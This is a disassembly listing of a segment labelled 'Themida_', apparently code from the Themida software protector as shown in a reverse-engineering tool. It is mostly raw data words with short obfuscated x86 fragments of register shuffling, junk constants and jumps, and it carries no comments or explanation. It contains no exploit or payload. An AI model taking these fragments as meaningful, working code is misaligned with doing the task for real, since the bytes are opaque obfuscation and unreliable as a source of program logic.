		dd 1CBE5650h, 0F71F7259h, 81D6F7DEh, 382032E6h,	0D71BE940h
		dd 4EE9FFFFh, 89FFFF9Fh, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 4C4835Ch, 241C8751h,	1C87D3F7h, 0A042E924h, 0DA31FFFFh
		dd 0FFB799E9h, 6DDF2DFFh, 0E95A08B2h, 2699h, 66BB5351h
		dd 0B9714318h, 0CE488EF8h, 895BD929h, 2434FFCEh, 4C48159h
		dd 0E9000000h, 4ED1h, 4A15C381h, 3C8B7215h, 0AAFFE924h
		dd 0C388FFFFh, 16AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A2C5:				; CODE XREF: Themida_:0054C0EAj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	1BCFh
		mov	[esp], edx
		mov	dl, 6Bh
		or	dl, 4Eh
		push	cx
		jmp	loc_54FF3D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 0A620E904h, 0CB29FFFFh, 81240C8Bh, 4C4h
		dd 0F3EB8100h, 2906061Eh, 0F3C381C3h, 5606061Eh, 0FFFF83E9h
		dd 89EA89FFh, 34FF5AD3h, 242C8B24h, 8104C483h, 4C4h, 0FFD82100h
		dd 815B2434h, 4C4h, 0FC00900h, 332E84h,	1DD86800h, 14890000h
		dd 16C8E924h, 4050000h,	0E9000000h, 3857h, 0B850F101h
		dd 3B083F38h, 5E58C101h, 0C8BC831h, 4C48324h, 39BB5356h
		dd 0E93CD934h, 0BF0h, 212E08BAh, 0DEFFE94Ch, 0C829FFFFh
		dd 0E9D82959h, 4667h, 0E99CC680h, 0FFFFBAEEh, 1DD468h
		dd 24048900h, 0FFEAB9E9h, 240C89FFh, 0E904EC83h, 38A4h
		dd 8BDF895Dh, 0C481241Ch, 4, 4359CF81h,	44E9591Ch, 81FFFFABh
		dd 4C4h, 0C544E900h, 0E6C1FFFFh, 0C1D6F704h, 0E6C104EEh
		dd 3BA5208h, 2177D012h,	0B800E9D6h, 0E953FFFFh,	0FFFFBF6Ch
		dd 0E924248Bh, 42Bh, 4C481h, 0D0300000h, 0CEDFE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A3F6:				; CODE XREF: Themida_:005456EBj
		pop	edx
		or	eax, eax
		jz	loc_54F8AB
		push	dword ptr [edi+28h]
		jmp	loc_547EEB
; ---------------------------------------------------------------------------
		db 2Dh
		dd 42081AA7h, 36C768h, 24148900h, 0A0F22BAh, 6DDF0512h
		dd 0D00108B2h, 0FFFE60E9h, 5AD609FFh, 0FFFAD4E9h, 5DAB05FFh
		dd 0D82913DBh, 0DB5DAB2Dh, 4A880513h, 0E9522AA3h, 0FFFFDB7Bh
		dd 2DDD055Eh, 0EC817875h, 4, 68243489h,	56FA3331h, 8BF0315Eh
		dd 0C4812434h, 4, 8ABB5340h, 81633035h,	88719AC3h, 0EDC38172h
		dd 81637E87h, 0FFFFFFEBh, 0FFC383FFh, 35EB814Bh, 0E968B8A4h
		dd 0FFFFCA39h, 815E5456h, 4C6h,	4B95100h, 29000000h, 343359CEh
		dd 24343124h, 5C243433h, 0E9242C89h, 0FFFFC7ABh, 24048B5Fh
		dd 4C481h, 0E9550000h, 517Eh, 4C3815Bh,	81000000h, 4ECh
		dd 242C8900h, 64E95056h, 89000047h, 0F16859CDh,	8900001Dh
		dd 0B850240Ch, 24h, 5058C189h, 4A7FC0B8h, 4AAF3537h, 0C1296243h
		dd 76C18158h, 1664338h,	76E981F9h, 81664338h, 9356FC1h
		dd 59290155h, 8B2434FFh, 40E9242Ch, 0BE000009h,	47E978A3h
		dd 7BFBF681h, 0F331728Dh, 1BBA525Eh, 8149BF7Fh,	38E425EAh
		dd 0E9D301BFh, 5D07h, 97C2815Ah, 128D772h, 97EA81FAh, 5F28D772h
		dd 0E9241433h, 14A6h
; ---------------------------------------------------------------------------


loc_54A554:				; CODE XREF: Themida_:0054CAEEj
		mov	dx, [esp]
		add	esp, 2
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 0E9h, 0D1h, 20h
		dd 0E9590000h, 4C5Eh, 0D0285B66h, 5A2434FFh, 4C481h, 68660000h
		dd 89661244h, 77E9240Ch, 0B1FFFFC3h, 0E9F130A3h, 25ACh
		dd 5C241487h, 0E9E78957h, 0FFFFF774h, 0B753BA2Ch, 5BF828B5h
		dd 0F000B62Ch, 57E9B604h, 58FFFFA3h, 31241433h,	14332414h
		dd 24248B24h, 24148966h, 0E99C5066h, 0FFFFF186h, 45FCEE81h
		dd 0E0E978EBh, 81000025h, 6E52C8EAh, 0E9EA017Ah, 0FFFFB3B8h
		dd 1C28342h, 0C281D2F7h, 795E6070h, 1ACEF281h, 0D7012153h
		dd 243C875Ah, 66E9F65Ch, 0E9CCB60Fh, 154h, 5ED2F181h, 0C1811F39h
		dd 50044BA7h, 0E959C889h, 28BBh, 0FF9B8CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A61D:				; CODE XREF: Themida_:0054C8FCj
		add	edx, 7B286B33h
		jmp	loc_545DB2
; ---------------------------------------------------------------------------
		dd 24048F5Eh, 0E924248Bh, 36E5h, 6F4BE381h, 0CB814D81h
		dd 56D5281h, 53CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A645:				; CODE XREF: Themida_:0054F582j
		push	esi
		push	26845CF1h
		pop	esi
		or	esi, 42C2511h
		jmp	loc_548D82
; ---------------------------------------------------------------------------
		db 54h
		dd 4C18159h, 56000000h,	0E04210BEh, 0D6F74E6Eh,	8102E6C1h
		dd 486270C6h, 5E6C117h,	0FFFF4FE9h, 0E932FFFFh,	0FFFF9B29h
		dd 66D30058h, 51B2525Ah, 0FFE7FAE9h, 0E18141FFh, 5A586FC9h
		dd 0FFC18349h, 6810E981h, 0CF3146C1h, 5FFE8959h, 348BF021h
		dd 4C48324h, 840FC009h,	0D79h, 81E38953h, 4C3h,	4EB8300h
		dd 5C241C87h, 50241489h, 4CF2E953h, 0F75E0000h,	0B2DDE9D6h
		dd 0C89FFFFh, 46824h, 81590000h, 76CE0C5h, 81CD011Bh, 76CE0EDh
		dd 240C8B1Bh, 4C481h, 0C5E90000h, 8BFFFFCFh, 22E92404h
		dd 0BEFFFFAEh, 146F0C19h, 71B5CE81h, 3EE92BB1h,	66FFFFDDh
		dd 0BA26E95Bh, 0E955FFFFh, 46A5h, 0D80011B3h, 52515A5Bh
		dd 58E929B6h, 81FFFFFEh, 4C4h, 0FA75E900h, 0BF57FFFFh
		dd 610D7046h, 8247C29h,	247C015Fh, 46BF5704h, 1610D70h
		dd 0E908247Ch, 0FFFFF0D2h, 34FF5452h, 0C4815A24h, 4, 0FFCE34E9h
		dd 5BF988FFh, 8007E9C0h, 58E936E1h, 8BFFFFA9h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54E81C
; ---------------------------------------------------------------------------


loc_54A788:				; CODE XREF: Themida_:00548164j
		pop	esi
		shl	ebx, 2
		neg	ebx
		jmp	loc_5456A3
; ---------------------------------------------------------------------------
		db 66h
		dd 5524048Bh, 75A668h, 24248900h, 0FF9CE1E9h, 34FF5CFFh
		dd 0E9555A24h, 25DBh, 83241C8Bh, 3DE904C4h, 51FFFFAAh
		dd 42474FFh, 4B7CE9h, 68515200h, 1435580Fh, 0E2C18159h
		dd 894A6FFAh, 240C8BCAh, 3104C483h, 0E9815AD1h,	4A07284Fh
		dd 0C60CF181h, 0BE5692C0h, 7DA31B97h, 3A6EB850h, 0C6313073h
		dd 56F1E958h, 0F7810000h, 382D0709h, 2639E95Bh,	0AD660000h
		dd 2CE95766h, 0F6FFFFE3h, 0B60F66F1h, 0E774E9CCh, 0B850FFFFh
		dd 548724A3h, 0E9D8F740h, 0FFFFA1A7h, 0E958C589h, 5770h
		dd 70EA8166h, 0D0016605h, 665B665Ah, 0FCE9C331h, 59FFFFB2h
		dd 6802C783h, 36BDh, 0FF243C89h, 8B042474h, 23E9243Ch
		dd 0C0FFFF9Ah, 4DE902EEh, 8B00000Bh, 9DE92414h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A86F:				; CODE XREF: Themida_:0054D57Fj
		push	3BEFh
		mov	[esp], ebx
		jmp	loc_54CAF3
; ---------------------------------------------------------------------------
		dd 904A3025h, 35D8F715h, 0EFFFF7F4h, 8358C101h,	0C8704C1h
		dd 89505C24h, 0D85AE9E0h, 3166FFFFh, 68662434h,	89661001h
		dd 87662434h, 0F766242Ch, 2C3166D5h, 2C336624h,	0F864E924h
		dd 0E9D1FFFFh, 4298BA52h, 0D1096D06h, 48F3E95Ah, 4BD0000h
		dd 1000000h, 0C875DE9h,	24248B24h, 2404A30Fh, 98C7E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A8E2:				; CODE XREF: Themida_:005447F7j
		inc	ecx
		push	eax
		mov	eax, 33A3585Fh
		and	eax, 4F7B10F8h
		jmp	loc_54813D
; ---------------------------------------------------------------------------


loc_54A8F3:				; CODE XREF: Themida_:0054F3E7j
		shl	ebx, 4
		dec	ebx
		neg	ebx
		add	ebx, 5FC359A4h
		and	ebp, ebx
		pop	ebx
		shl	ebp, 1
		sub	ebp, 1DF37410h
		add	ebp, 0CC2F0FCAh
		jmp	loc_54CD0A
; ---------------------------------------------------------------------------
		db 0ACh, 30h, 0D8h
		dd 53B05051h, 0ECFE9h, 77E95000h, 0ACFFFFD4h, 3F04CA2Ch
		dd 0FFC0D2E9h, 243433FFh, 33243431h, 248B2434h,	65BD5524h
		dd 814D7D4Fh, 9022BEC5h, 5DE931E0h, 2770E953h, 55660000h
		dd 681DBD66h, 1BD5E9h, 0E9E98000h, 30B5F180h, 240C8BCBh
		dd 0FFEE88E9h, 0E98166FFh, 2966EF2Ch, 665959C8h, 6636F268h
		dd 0E9241C89h, 5950h, 24048B66h, 5250E9h, 0E952AC00h, 8CCh
		dd 4BDh, 5DEB0100h, 1E47E9h, 4C68100h, 87000000h, 15C2434h
		dd 452E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A9B2:				; CODE XREF: Themida_:005471CAj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		sub	dword ptr [esp], 37289Eh
		pop	edx
		add	edx, 37289Eh
		push	dword ptr [esp]
		jmp	loc_54D775
; ---------------------------------------------------------------------------


loc_54A9CF:				; CODE XREF: Themida_:00549DD0j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0BD05641h
		not	edx
		neg	edx
		not	edx
		xor	edx, 0F592F801h
		add	esi, edx
		jmp	loc_547F83
; ---------------------------------------------------------------------------
aZgHO		db 'G$ho',0
		align 4
		dd 81241C89h, 4ECh, 24048900h, 956DC3B8h, 4E0C12Eh, 0E8C1D8F7h
		dd 4EC8104h, 89000000h,	77BE2434h, 29DA6F56h, 6C815EF0h
		dd 12940424h, 442901A2h, 97E90424h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AA33:				; CODE XREF: Themida_:0054E7A6j
		add	esp, 4
		jmp	loc_549C32
; ---------------------------------------------------------------------------
		db 83h
		dd 48702C0h, 0CAFE5C24h, 0F5A9E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AA4A:				; CODE XREF: Themida_:005466EFj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5447EB
; ---------------------------------------------------------------------------
		dw 0C101h
		dd 5024048Bh, 405E089h,	83000000h, 48704C0h, 0C875C24h
		dd 24248B24h, 5624048Bh, 6FE95E54h, 89FFFFB5h, 74FF241Ch
		dd 1C8B0424h, 4C48124h,	8F000000h, 0D35C2404h, 84E92424h
		dd 33000031h, 665C2414h, 0E9240489h, 35CEh
; ---------------------------------------------------------------------------


loc_54AAA8:				; CODE XREF: Themida_:005454F0j
		add	edx, 13D43A29h
		add	edi, edx
		jmp	loc_54D312
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 2
		dd 3178E9h, 1C8B5400h, 4C48324h, 6DDBBD55h, 0F58164A8h
		dd 64A86DDFh, 9DE9EB01h, 57FFFFF1h, 67556EBFh, 95C78140h
		dd 903EBF4h, 0B8505FFDh, 59C113E8h, 48BC501h, 4C48124h
		dd 0E9000000h, 0FFFFAAAEh
; ---------------------------------------------------------------------------


loc_54AAFC:				; CODE XREF: Themida_:0054C2E8j
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_54F97A
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 8ED5DF04h, 835EF301h, 1C3302C3h, 4072E924h, 14F70000h
		dd 0EA815A24h, 0D4269C69h, 0FEE9D729h, 8300002Dh, 895004C4h
		dd 405E0h, 0BA520000h, 74A4421Fh, 0FF9FA1E9h, 81D9F7FFh
		dd 4DD915E9h, 126768B6h, 5E90000h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AB57:				; CODE XREF: Themida_:005475C8j
		push	2838h
		jmp	loc_544CB5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFAEBCE9h, 97EB81FFh, 16FC6BBh, 241C8BDDh, 4C481h
		dd 61E90000h, 0BF000027h, 39857633h, 0FFCE51E9h, 0D830ACFFh
		dd 4F586866h, 24148966h, 0FFC147E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AB99:				; CODE XREF: Themida_:0054E9C8j
		dec	ecx
		xor	ecx, 390B78D4h
		inc	ecx
		push	edx
		mov	edx, 3BE36600h
		neg	edx
		jmp	loc_54E291
; ---------------------------------------------------------------------------


loc_54ABAE:				; CODE XREF: Themida_:00545C74j
		pop	eax


loc_54ABAF:				; CODE XREF: Themida_:00545101j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54B19D
; ---------------------------------------------------------------------------
		dd 405h, 4C08300h, 5065E9h, 7E9C100h, 0FFC008E9h, 81C701FFh
		dd 8F4546C7h, 0BDE95801h, 89000021h, 0E9542404h, 0FFFFC8EAh
		dd 2434875Bh, 5124248Bh, 1C9D68h, 24148900h, 5B87B951h
		dd 0E1D15116h, 1A9CF181h, 0E9C13615h, 0E9814104h, 741B72A0h
		dd 0D7C7C181h, 3B686AD7h, 8900005Fh, 0CF89243Ch, 29B85057h
		dd 81654E5Fh, 1404246Ch, 2917B776h, 81042444h, 14042444h
		dd 5817B776h, 4AE3E9h, 4ECC000h, 8029EC80h, 0E32828F4h
		dd 0FFC38058h, 5BD828h,	39B551F8h, 8008ED80h, 90E933C5h
		dd 54FFFFDAh, 3AD2E9h, 0E3EB8100h, 815E0A71h, 0C62DB3C3h
		dd 0B2EB816Ch, 0E97242FDh, 0FFFFB32Ah, 9F11E950h, 405FFFFh
		dd 83000000h, 48704C0h,	0A6685C24h, 89000076h, 4BE2434h
		dd 1000000h, 4875EF0h, 4315C24h, 0A790E924h, 0EE89FFFFh
		dd 7A9E055Dh, 0B305121Fh, 2907E079h, 0CDBB53F0h, 815E3E70h
		dd 815944E3h, 8E3C11Eh,	0FFF963E9h, 2434FFFFh, 0E924048Bh
		dd 4EF0h, 5552E689h, 3D98E9h, 58C28900h, 1B1E281h, 3FE950D0h
		dd 81FFFFD2h, 4C5h, 0B9515600h,	514C7955h, 318AB6BEh, 8BCE011Dh
		dd 0C483240Ch, 3AC68104h, 4E49630Bh, 0F0C0C681h, 0ED81481Eh
		dd 19095E18h, 0C581F501h, 19095E18h, 8124348Bh,	4C4h, 242C8700h
		dd 3B24248Bh, 6AE99CC8h, 8BFFFF94h, 4082424h, 5EE99C24h
		dd 68FFFF94h, 3D4Ah, 0BD242C89h, 2AA34A88h, 0E95DE829h
		dd 0FFFFF6CDh, 57F1F766h, 0F068E789h, 89000054h, 5652240Ch
		dd 680A4FBEh, 51D4BA48h, 0F229B666h, 3267E9h, 3BADBB00h
		dd 7EE9641Bh, 8000054h,	665A66D4h, 2092E953h, 0E9510000h
		dd 0FFFFBF97h, 8EE9D800h, 8100000Dh, 4C7h, 2EF8100h, 87000000h
		dd 1BE9243Ch, 8100001Eh, 4C4h, 4B95100h, 0E9000000h, 2247h
		dd 4C4368h, 2DA1E900h, 0E95C0000h, 0FFFFD854h
; ---------------------------------------------------------------------------


loc_54ADD8:				; CODE XREF: Themida_:00545D06j
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54D5DA
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 0C6E9CCB6h, 81000017h, 42404h, 525F0000h, 1CB4B850h
		dd 75056319h, 0E9C41EF6h, 0FFFFFEE1h, 74FF505Fh, 0E9580424h
		dd 0FFFFD720h, 4191F181h, 6BE90FD6h, 5AFFFFDCh,	205CE9h
		dd 8587B900h, 0CE29AE11h, 0E9F08959h, 0FFFFE3DDh, 4C781h
		dd 0CE90000h, 0BE000048h, 7406530Ch, 37E9F701h,	55FFFFB6h
		dd 4BDh, 5DE82900h, 31240433h, 25E92404h, 83FFFFD5h, 0CCE904C4h
		dd 0B5FFFFFCh, 88525321h, 0E9D388EAh, 3593h, 892CBAB2h
		dd 0FFF2FBE9h, 71BD55FFh, 4D401834h, 8108E5C1h,	2015AF5h
		dd 5DE90141h, 0E906E9C1h, 0FFFFCB09h, 0D0F7585Bh, 0BE53E993h
		dd 0C8BFFFFh, 4C48124h,	0E9000000h, 0FFFFE2CFh,	4EC81h
		dd 4890000h, 57585424h,	6D6806BFh, 0B993E94Dh, 0EC83FFFFh
		dd 243C8904h, 93777D68h, 26E7E905h, 11680000h, 5D640D26h
		dd 8102EDC1h, 0FFFFFFC5h, 12ED81FFh, 8137A025h,	442053EDh
		dd 8BE88911h, 0C481242Ch, 4, 0FFB616E9h, 58C201FFh, 3985EE81h
		dd 0D6016905h, 0FFE071E9h, 72EA81FFh, 2963CACFh, 0B12E9D5h
		dd 0C6810000h, 4, 25946857h, 1C890000h,	0F146824h, 4B5B349Eh
		dd 6225B951h, 0E9496E2Ah, 0FFFFCBD4h, 2B850h, 0C7010000h
		dd 8124048Bh, 4C4h, 243C8700h, 6424248Bh, 0E9028966h, 0FFFF924Dh
		dd 4B56E381h, 0BE93CC8h, 8100004Dh, 2C7h, 243C8700h, 8324248Bh
		dd 0C8904ECh, 88515324h, 8BCB88D1h, 0C483240Ch,	5BD98804h
		db 53h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	al, cl
		mov	bl, al
		pop	eax
		mov	[eax], bl
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5441A9
; ---------------------------------------------------------------------------


loc_54AFB8:				; CODE XREF: Themida_:00545B1Ej
		sub	edi, 12DE480Dh
		dec	edi
		xor	edi, 0F2A00312h
		add	eax, edi
		pop	edi
		xor	eax, 5269F4EFh
		push	ebx
		mov	ebx, 40324E4h
		push	ecx
		push	edx
		push	9F505B5h
		jmp	loc_54C8FB
; ---------------------------------------------------------------------------
		db 81h
		dd 0F065A9C5h, 0C7F6E95Dh, 34FFFFFFh, 7C9E924h,	4830000h
		dd 10E90424h, 87000025h, 0CFE9241Ch, 89FFFFFDh,	9EE92404h
		dd 2CFFFF91h, 58C328C9h, 0FFA9E4E9h, 0C8B66FFh,	4EC8124h
		dd 89000000h, 1FE92404h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B027:				; CODE XREF: Themida_:0054CFDBj
		pop	esp
		add	edi, 4
		jmp	loc_549435
; ---------------------------------------------------------------------------
		db 0BBh
		dd 22CC0408h, 65D1BD55h, 0D5F71B4Ch, 0FF92A9E9h, 5EF529FFh
		dd 0FFF008E9h, 8EFC1FFh, 0D310C781h, 0E957343Dh, 0FFFFC67Ch
		dd 0F1242C81h, 5E061867h, 67F1C681h, 0C8B0618h,	0E937E924h
		dd 0EB29FFFFh, 8B2434FFh, 0C483242Ch, 4394E904h, 0E5810000h
		dd 68BB18DBh, 2404ED81h, 0BBE932CAh, 8900004Fh,	0A7BE2434h
		dd 0C14BE647h, 80E907EEh, 5FFFFFD6h, 34D7E9h, 240C8B00h
		dd 4C481h, 0B1510000h, 0CE1801Ah, 0FFB242E9h, 38E95EFFh
		dd 5DFFFFFFh, 0BAE9C201h, 89000010h, 4C181E1h, 83000000h
		dd 0C8704C1h, 0C9E95C24h, 5000001Eh, 0FF99F5E9h, 241489FFh
		dd 0FF98ADE9h, 525B5AFFh, 0FFE87DE9h, 24248BFFh, 0FFB31AE9h
		dd 7CC381FFh, 5921BB1Dh, 0E902C383h, 0FFFFBDDFh
; ---------------------------------------------------------------------------


loc_54B10C:				; CODE XREF: Themida_:005496ECj
		push	dword ptr [esp]
		pop	ebx
		push	edi
		jmp	loc_5454C8
; ---------------------------------------------------------------------------
		dw 535Dh
		dd 1D18BA52h, 0D3893677h, 0D6CB815Ah, 55463B2Ch, 0FF9677E9h
		dd 4EE81FFh, 87000000h,	248B2434h, 241C8924h, 639068h
		dd 0C22E900h, 0F5800000h, 80CDFEADh, 0E80026EDh, 66222C59h
		dd 83241C8Bh, 5CE902C4h, 0FE00002Ah, 6601244Ch,	0BCF48058h
		dd 0FFD25AE9h, 5DC681FFh, 9249096h, 0C512E9F1h,	0ED81FFFFh
		dd 3DE16C1h, 10E9EE89h,	51000021h, 2F02E9h, 5DEB0100h
		dd 3E9C68h, 242C8900h, 0FFF7F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B19D:				; CODE XREF: Themida_:0054ABB7j
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		xor	dword ptr [esp], 7CE7489Ah
		pop	eax
		push	6AF2h
		mov	[esp], edx
		mov	edx, 23AA078Ah
		shr	edx, 3
		shl	edx, 1
		add	edx, 814E58h
		xor	edx, 4CF154FAh
		jmp	loc_5475FB
; ---------------------------------------------------------------------------
		dd 582434FFh, 4EC81h, 0C890000h, 34FF5424h, 0C4815924h
		dd 4, 4C181h, 0BF570000h, 4, 3B44C181h,	0F90147E2h, 0FFA09BE9h
		dd 81E789FFh, 4ECh, 24348900h, 0FFF4EEE9h, 1C77FFFFh, 1858669Dh
		dd 0E99C2404h, 0FFFF8F85h, 4C481h, 0C3810000h, 4, 262BE9h
		dd 240C8900h, 6FB64AB9h, 59CD01B4h, 15D5E55h, 24348BF3h
		dd 3304C483h, 1C31241Ch, 241C3324h, 0BB0F665Ch,	0E99C2404h
		dd 0FFFF8F49h, 0FCE92BB2h, 81FFFFA4h, 4C3h, 0D86FE900h
		dd 0EFC1FFFFh, 0E7814F02h, 2BD10DAh, 1071C781h,	83E95EA7h
		dd 0B9FFFFBFh, 4, 1F7C581h, 0CD013C60h,	1F7ED81h, 4BE93C60h
		dd 1000040h, 242C8BEBh,	81E28952h, 4C2h, 4C28100h, 87000000h
		dd 895C2414h, 3A5E9D8h,	0D8300000h, 0B7B35352h,	8C4B652h
		dd 0F3805AF3h, 3E3C0F5h, 0EBC0EBD0h, 0EBB15108h, 0BCE9E9D0h
		dd 0F7FFFFE9h, 48B2414h, 4C48124h, 0D000000h, 37FC423Ah
		dd 7B55BF57h, 0EF811A57h, 18293BF1h, 7C06BD55h,	0ED812BC3h
		dd 30755291h, 3C76F581h, 0EF09E748h, 0E7814F5Dh, 66D03565h
		dd 0EF81DFF7h, 42007F61h, 49F9E9h, 24348B00h, 4C481h, 0F8010000h
		dd 0E9243C8Bh, 0F2Dh, 8B2414F7h, 0C4832404h, 74FF5004h
		dd 70E90424h, 68FFFFCEh, 7829h,	0E9241489h, 0FFFFFB18h
; ---------------------------------------------------------------------------


loc_54B358:				; CODE XREF: Themida_:0054EBB8j
		mov	[esp], edx
		mov	edx, 7A8E5FB9h
		jmp	loc_54F987
; ---------------------------------------------------------------------------
		db 89h,	0E8h, 8Bh
		dd 21E9242Ch, 81000015h, 0AF4C2CC7h, 0B7C78146h, 5D6C774Ah
		dd 0E076E947h, 0EAC1FFFFh, 0A7E94A05h, 2900001Fh, 0EE815AD6h
		dd 8446AD76h, 0E7D1F05h, 2DF02964h, 640E7D1Fh, 0FF9083E9h
		dd 241489FFh, 47AE9h, 0E9525000h, 0FFFF9FF8h, 0EE80CEFEh
		dd 0C353E94Ah, 0DBF7FFFFh, 0F707EBC1h, 93F381DBh, 5169EE7Ch
		dd 0FFB8EBE9h, 0C9CD81FFh, 815F8B25h, 0EACFF8EDh, 5DEB290Dh
		dd 6758EB81h, 8F7AC5h, 0FF8DBCE9h, 0C3815EFFh, 258921BFh
		dd 1B1DE9h, 4CE95300h, 83000018h, 148904ECh, 6B03BA24h
		dd 9E911A7h, 81FFFFA0h,	7E04246Ch, 6855E920h, 7A10h, 0BB241C89h
		dd 1F3E524Bh, 8245C29h,	478F595Bh, 3BA46824h, 0DE90000h
		dd 0BD000000h, 81C0A096h, 0E95DEA01h, 0FFFFEB34h, 81242C89h
		dd 4ECh, 24248900h, 4240481h, 8B000000h, 0C483242Ch, 1357E904h
		dd 0D8010000h, 0F222D5Bh, 0A705120Ah, 5342081Ah, 0B6685352h
		dd 5B4BCF23h, 8107E3C1h, 246764CBh, 0C381437Ah,	41CD32F7h
		dd 555BDA89h, 0EB89D589h, 143CE95Dh, 8B660000h,	0EC812404h
		dd 4, 89241489h, 6CEA68E2h, 4890000h, 0AF6AE924h, 0DDF7FFFFh
		dd 7BBE5650h, 0C159803Fh, 0BDE904E6h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B4C3:				; CODE XREF: Themida_:0054BEA0j
		mov	ebx, 8CD21E7h
		or	edx, ebx
		pop	ebx
		add	edx, 68445A0Dh
		sub	ecx, 195B34E0h
		sub	ecx, edx
		jmp	loc_5473DD
; ---------------------------------------------------------------------------
		dw 0EE01h
		dd 3142C681h, 2C8B5AAEh, 4C48324h, 126F68h, 24348900h
		dd 8324148Bh, 215E04C4h, 2434FFD1h, 4C4815Ah, 0C1000000h
		dd 0DC680AE9h, 89000012h, 0DF89243Ch, 895B5753h, 241C8BD8h
		dd 4EC81h, 0B8E90000h, 81FFFFF6h, 883D3FEEh, 81D62957h
		dd 883D3FC6h, 34875A57h, 24248B24h, 0E9240489h,	0FFFF8C65h
		dd 2068B850h, 0C5BE76EBh, 29E0624Bh, 0EF8158C6h, 7406530Ch
		dd 51E9F701h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B55F:				; CODE XREF: Themida_:0054ED16j
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 0F3EE78BFh
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_549A79
; ---------------------------------------------------------------------------
		dd 2CE58166h, 4EC8322h,	66240489h, 665EB2B8h, 6607E8C1h
		dd 66FFC083h, 664C8125h, 6649B225h, 66235B05h, 6658C509h
		dd 5366D5F7h, 0EBE3BB66h, 0E9DD3166h, 0FFFFF163h, 0E9E9F75Ch
		dd 43B5h, 0E95FF929h, 0FFFFC8B3h
; ---------------------------------------------------------------------------


loc_54B5C0:				; CODE XREF: Themida_:0054748Ej
		inc	cl
		not	cl
		jmp	loc_546323
; ---------------------------------------------------------------------------
		db 0E9h, 0DBh, 8Bh
		dd 248BFFFFh, 8BD3E924h, 8F5DFFFFh, 248B2404h, 68F9F724h
		dd 1533h, 50241489h, 8BBBE99Ch,	0E588FFFFh, 0F5E95A58h
		dd 83FFFFDFh, 87E904ECh, 53FFFF9Fh, 0CEE91DB7h,	0BB00001Bh
		dd 2A053118h, 0B9259DB8h, 1ABB53D6h, 810B7B2Ch,	646469CBh
		dd 6EBC12Ah, 14D2C381h,	0C3814343h, 146D10ACh, 15BD801h
		dd 232F2DD8h, 295B585Eh, 58042444h, 57240429h, 0BE56B5BFh
		dd 0F0F0E900h, 248BFFFFh, 4EC8324h, 68241489h, 765C03C2h
		dd 60CA685Ah, 30E90000h, 8BFFFFFAh, 0C481241Ch,	4, 0FF8B38E9h
		dd 0CE8852FFh, 49BFE9h,	24148B00h, 8104C483h, 4ECh, 24348900h
		dd 2801B850h, 7FE93221h, 81FFFFA6h, 655271C3h, 4BF38111h
		dd 1152935h, 4055BD8h, 87000000h, 0FF5C2404h, 835F2434h
		dd 0C8E904C4h, 0FF000020h, 589D1C77h, 9C240419h, 0FFEF53E9h
		dd 5E089FFh, 4,	8304C083h, 48904ECh, 1B30E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B6DA:				; CODE XREF: Themida_:0054BF1Aj
		mov	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		or	dl, 0A3h
		push	eax
		mov	al, 97h
		or	al, 0A1h
		push	edx
		mov	dh, 8Fh
		add	al, dh
		pop	edx
		add	dl, 0B5h
		sub	dl, al
		jmp	loc_54621D
; ---------------------------------------------------------------------------
		dw 0B425h
		dd 0E959040Ch, 0FFFFF178h, 4EB95155h, 0BD1FB80Ah, 1FB80A50h
		dd 2959CD29h, 14335DEAh, 24143124h, 8B241433h, 89662424h
		dd 7EE9240Ch, 81FFFF8Ah, 24A2F4C7h, 94C181CDh, 81219C33h
		dd 1610C4E9h, 81F92957h, 1610C4C1h, 94E98157h, 0E9219C33h
		dd 0FFFFCE80h, 0E9241C33h, 4110h, 5C240487h, 89240C89h
		dd 4BA52E1h, 1000000h, 24148BD1h, 0FFCC22E9h, 48B66FFh
		dd 0EC835624h, 0D8BAE904h, 0FD89FFFFh, 4AE94D5Fh, 89FFFFFCh
		dd 4C181E1h, 50000000h,	4B8h, 58C12900h, 5C240C87h, 0FF241489h
